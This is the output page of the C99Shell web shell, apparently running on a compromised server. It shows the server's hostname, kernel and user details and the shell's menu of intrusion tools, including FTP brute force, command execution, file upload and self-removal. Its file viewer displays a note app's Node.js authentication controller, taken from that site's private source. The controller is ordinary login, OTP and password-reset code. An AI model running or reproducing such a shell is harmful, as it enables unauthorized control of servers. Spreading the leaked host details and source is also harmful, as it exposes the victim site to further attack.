!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-163-generic #173-Ubuntu SMP Tue Oct 14 17:51:00 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/note.picotech.app/public_html/src/controllers/   drwxr-xr-x
Free 25.93 GB of 117.98 GB (21.98%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     authController.js (13.14 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
const { User, Otp, FailedLoginAttempt } = require('../models');
const { generateToken, generateRefreshToken, verifyRefreshToken } = require('../middleware/auth');
const { AppError, catchAsync } = require('../middleware/errorHandler');
const config = require('../config/config');
const crypto = require('crypto');

// Account lockout configuration
const MAX_LOGIN_ATTEMPTS = 5;
const LOCKOUT_DURATION = 15 * 60 * 1000; // 15 minutes in milliseconds

// Send OTP for registration
const sendRegistrationOTP = catchAsync(async (req, res) => {
  const { email, name } = req.body;

  // Check if registration is enabled
  if (!config.auth.registrationEnabled) {
    throw new AppError('Registration is currently disabled', 403, 'REGISTRATION_DISABLED');
  }

  // Check if user already exists and is active
  const existingUser = await User.findByEmail(email);
  if (existingUser && existingUser.is_active) {
    throw new AppError('User with this email already exists', 409, 'USER_EXISTS');
  }

  // Always remove any existing unused OTPs for this email/type before creating new one
  await Otp.destroy({
    where: {
      email,
      otp_type: 'registration'
    },
  });

  // Generate and save new OTP
  const otpRecord = await Otp.generateOTP(email, 'registration');

  // TODO: Implement proper email service for OTP delivery
  // For development, OTP is only logged (never exposed in responses)
  if (process.env.NODE_ENV === 'development') {
    console.log(`OTP for ${email}: ${otpRecord.otp_code}`);
  }

  res.json({
    success: true,
    message: 'OTP sent to your email'
  });
});

// Verify OTP and complete registration
const verifyOTP = catchAsync(async (req, res) => {
  const { email, otp } = req.body;

  // Find valid OTP
  const otpRecord = await Otp.findValidOTP(email, otp, 'registration');

  if (!otpRecord) {
    throw new AppError('Invalid or expired OTP', 400, 'INVALID_OTP');
  }

  // Check if OTP is expired
  if (otpRecord.isExpired()) {
    throw new AppError('OTP has expired', 400, 'OTP_EXPIRED');
  }

  // Check attempts
  if (!otpRecord.canAttempt()) {
    throw new AppError('Too many failed attempts', 400, 'MAX_ATTEMPTS_EXCEEDED');
  }

  // Mark OTP as used
  otpRecord.is_used = true;
  await otpRecord.save();

  res.json({
    success: true,
    message: 'OTP verified successfully',
  });
});

// Complete registration with password
const register = catchAsync(async (req, res) => {
  const { email, password, name } = req.body;

  // Check if registration is enabled
  if (!config.auth.registrationEnabled) {
    throw new AppError('Registration is currently disabled', 403, 'REGISTRATION_DISABLED');
  }

  // Check if user already exists and is active
  const existingUser = await User.findByEmail(email);
  if (existingUser && existingUser.is_active) {
    throw new AppError('User with this email already exists', 409, 'USER_EXISTS');
  }

  // Verify that OTP was verified for this email
  const verifiedOtp = await Otp.findOne({
    where: {
      email,
      otp_type: 'registration',
      is_used: true,
    },
    order: [['updated_at', 'DESC']],
  });

  if (!verifiedOtp) {
    throw new AppError('Please verify your email first', 400, 'EMAIL_NOT_VERIFIED');
  }

  // Create the user
  const user = await User.create({
    email,
    name,
    password_hash: password, // Will be hashed by model hook
    is_active: true,
    email_verified: true, // OTP verification serves as email verification
    verification_token: crypto.randomBytes(32).toString('hex'),
  });

  // Clean up used OTPs for this email
  await Otp.destroy({
    where: {
      email,
      otp_type: 'registration',
    },
  });

  // Generate tokens
  const token = generateToken(user.id);
  const refreshToken = generateRefreshToken(user.id);

  res.status(201).json({
    success: true,
    message: 'User registered successfully',
    data: {
      user: user.toJSON(),
      token,
      refreshToken,
    },
  });
});

// Check if account is locked
const isAccountLocked = async (email) => {
  return await FailedLoginAttempt.isAccountLocked(email);
};

// Record failed login attempt
const recordFailedLogin = async (email, req) => {
  const ipAddress = req?.ip || req?.connection?.remoteAddress || null;
  const userAgent = req?.get('User-Agent') || null;

  await FailedLoginAttempt.recordFailedAttempt(email, ipAddress, userAgent);
};

// Clear failed login attempts on successful login
const clearFailedLoginAttempts = async (email) => {
  await FailedLoginAttempt.clearFailedAttempts(email);
};

// Login user
const login = catchAsync(async (req, res) => {
  const { email, password } = req.body;

  // Check if account is locked
  if (await isAccountLocked(email)) {
    throw new AppError('Account is temporarily locked due to too many failed login attempts. Please try again later.', 429, 'ACCOUNT_LOCKED');
  }

  // Find user by email
  const user = await User.findOne({
    where: { email },
    attributes: ['id', 'email', 'name', 'password_hash', 'is_active', 'email_verified'],
  });

  if (!user || !user.is_active) {
    await recordFailedLogin(email, req);
    throw new AppError('Invalid email or password', 401, 'INVALID_CREDENTIALS');
  }

  // Check password
  const isPasswordValid = await user.validatePassword(password);
  if (!isPasswordValid) {
    await recordFailedLogin(email, req);
    throw new AppError('Invalid email or password', 401, 'INVALID_CREDENTIALS');
  }

  // Clear failed attempts on successful login
  await clearFailedLoginAttempts(email);

  // Generate tokens
  const token = generateToken(user.id);
  const refreshToken = generateRefreshToken(user.id);

  // Update last login
  user.last_login = new Date();
  await user.save();

  res.json({
    success: true,
    message: 'Login successful',
    data: {
      user: user.toJSON(),
      token,
      refreshToken,
    },
  });
});

// Refresh access token
const refreshToken = catchAsync(async (req, res) => {
  const { refreshToken: token } = req.body;

  if (!token) {
    throw new AppError('Refresh token is required', 400, 'MISSING_REFRESH_TOKEN');
  }

  // Verify refresh token
  const decoded = verifyRefreshToken(token);
  
  // Find user
  const user = await User.findActiveById(decoded.userId);
  if (!user) {
    throw new AppError('User not found or inactive', 401, 'USER_NOT_FOUND');
  }

  // Generate new tokens
  const newToken = generateToken(user.id);
  const newRefreshToken = generateRefreshToken(user.id);

  res.json({
    success: true,
    message: 'Token refreshed successfully',
    data: {
      token: newToken,
      refreshToken: newRefreshToken,
    },
  });
});

// Get current user profile
const getProfile = catchAsync(async (req, res) => {
  const user = await User.findByPk(req.user.id, {
    attributes: { exclude: ['password_hash'] },
  });

  if (!user) {
    throw new AppError('User not found', 404, 'USER_NOT_FOUND');
  }

  res.json({
    success: true,
    data: { user },
  });
});

// Update user profile
const updateProfile = catchAsync(async (req, res) => {
  const { name, avatar_url } = req.body;
  const userId = req.user.id;

  const user = await User.findByPk(userId);
  if (!user) {
    throw new AppError('User not found', 404, 'USER_NOT_FOUND');
  }

  // Update user fields
  if (name !== undefined) user.name = name;
  if (avatar_url !== undefined) user.avatar_url = avatar_url;

  await user.save();

  res.json({
    success: true,
    message: 'Profile updated successfully',
    data: { user: user.toJSON() },
  });
});

// Change email
const changeEmail = catchAsync(async (req, res) => {
  const { email } = req.body;
  const userId = req.user.id;

  const user = await User.findByPk(userId);
  if (!user) {
    throw new AppError('User not found', 404, 'USER_NOT_FOUND');
  }

  // Check if new email is already taken
  const existingUser = await User.findByEmail(email);
  if (existingUser && existingUser.id !== userId) {
    throw new AppError('Email is already in use', 409, 'EMAIL_EXISTS');
  }

  // Update email and reset verification
  user.email = email;
  user.email_verified = false;
  user.verification_token = crypto.randomBytes(32).toString('hex');
  await user.save();

  res.json({
    success: true,
    message: 'Email changed successfully. Please verify your new email.',
    data: { user: user.toJSON() },
  });
});

// Change password
const changePassword = catchAsync(async (req, res) => {
  const { currentPassword, newPassword } = req.body;
  const userId = req.user.id;

  const user = await User.findOne({
    where: { id: userId },
    attributes: ['id', 'password_hash'],
  });

  if (!user) {
    throw new AppError('User not found', 404, 'USER_NOT_FOUND');
  }

  // Verify current password
  const isCurrentPasswordValid = await user.validatePassword(currentPassword);
  if (!isCurrentPasswordValid) {
    throw new AppError('Current password is incorrect', 400, 'INVALID_CURRENT_PASSWORD');
  }

  // Update password
  user.password_hash = newPassword; // Will be hashed by model hook
  await user.save();

  res.json({
    success: true,
    message: 'Password changed successfully',
  });
});

// Forgot password
const forgotPassword = catchAsync(async (req, res) => {
  const { email } = req.body;

  const user = await User.findByEmail(email);
  if (!user) {
    // Don't reveal if user exists or not
    return res.json({
      success: true,
      message: 'If an account with that email exists, a password reset link has been sent',
    });
  }

  // Generate reset token
  const resetToken = crypto.randomBytes(32).toString('hex');
  const resetTokenExpiry = new Date(Date.now() + 10 * 60 * 1000); // 10 minutes

  user.reset_password_token = resetToken;
  user.reset_password_expires = resetTokenExpiry;
  await user.save();

  // TODO: Implement proper email service for password reset
  // For development, token is only logged (never exposed in responses)
  if (process.env.NODE_ENV === 'development') {
    console.log(`Password reset token for ${email}: ${resetToken}`);
  }

  res.json({
    success: true,
    message: 'Password reset link has been sent to your email'
  });
});

// Reset password
const resetPassword = catchAsync(async (req, res) => {
  const { token, password } = req.body;

  const user = await User.findOne({
    where: {
      reset_password_token: token,
      reset_password_expires: {
        [require('sequelize').Op.gt]: new Date(),
      },
    },
  });

  if (!user) {
    throw new AppError('Invalid or expired reset token', 400, 'INVALID_RESET_TOKEN');
  }

  // Update password and clear reset token
  user.password_hash = password; // Will be hashed by model hook
  user.reset_password_token = null;
  user.reset_password_expires = null;
  await user.save();

  res.json({
    success: true,
    message: 'Password reset successfully',
  });
});

// Verify email
const verifyEmail = catchAsync(async (req, res) => {
  const { token } = req.params;

  const user = await User.findOne({
    where: { verification_token: token },
  });

  if (!user) {
    throw new AppError('Invalid verification token', 400, 'INVALID_VERIFICATION_TOKEN');
  }

  user.email_verified = true;
  user.verification_token = null;
  await user.save();

  res.json({
    success: true,
    message: 'Email verified successfully',
  });
});

// Resend verification email
const resendVerification = catchAsync(async (req, res) => {
  const userId = req.user.id;

  const user = await User.findByPk(userId);
  if (!user) {
    throw new AppError('User not found', 404, 'USER_NOT_FOUND');
  }

  if (user.email_verified) {
    throw new AppError('Email is already verified', 400, 'EMAIL_ALREADY_VERIFIED');
  }

  // Generate new verification token
  user.verification_token = crypto.randomBytes(32).toString('hex');
  await user.save();

  // TODO: Send verification email
  
  res.json({
    success: true,
    message: 'Verification email sent',
  });
});

// Logout (client-side token invalidation)
const logout = catchAsync(async (req, res) => {
  // In a stateless JWT system, logout is typically handled client-side
  // by removing the token from storage. However, we can log this event.
  
  res.json({
    success: true,
    message: 'Logged out successfully',
  });
});

// Delete account
const deleteAccount = catchAsync(async (req, res) => {
  const { password } = req.body;
  const userId = req.user.id;

  const user = await User.findOne({
    where: { id: userId },
    attributes: ['id', 'password_hash'],
  });

  if (!user) {
    throw new AppError('User not found', 404, 'USER_NOT_FOUND');
  }

  // Verify password before deletion
  const isPasswordValid = await user.validatePassword(password);
  if (!isPasswordValid) {
    throw new AppError('Password is incorrect', 400, 'INVALID_PASSWORD');
  }

  // Soft delete by deactivating account
  user.is_active = false;
  await user.save();

  res.json({
    success: true,
    message: 'Account deleted successfully',
  });
});

// Get registration config
const getRegistrationConfig = catchAsync(async (req, res) => {
  res.json({
    success: true,
    data: {
      registrationEnabled: config.auth.registrationEnabled,
    },
  });
});

module.exports = {
  sendRegistrationOTP,
  verifyOTP,
  register,
  login,
  refreshToken,
  getProfile,
  updateProfile,
  changeEmail,
  changePassword,
  forgotPassword,
  resetPassword,
  verifyEmail,
  resendVerification,
  logout,
  deleteAccount,
  getRegistrationConfig,
};

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0037 ]--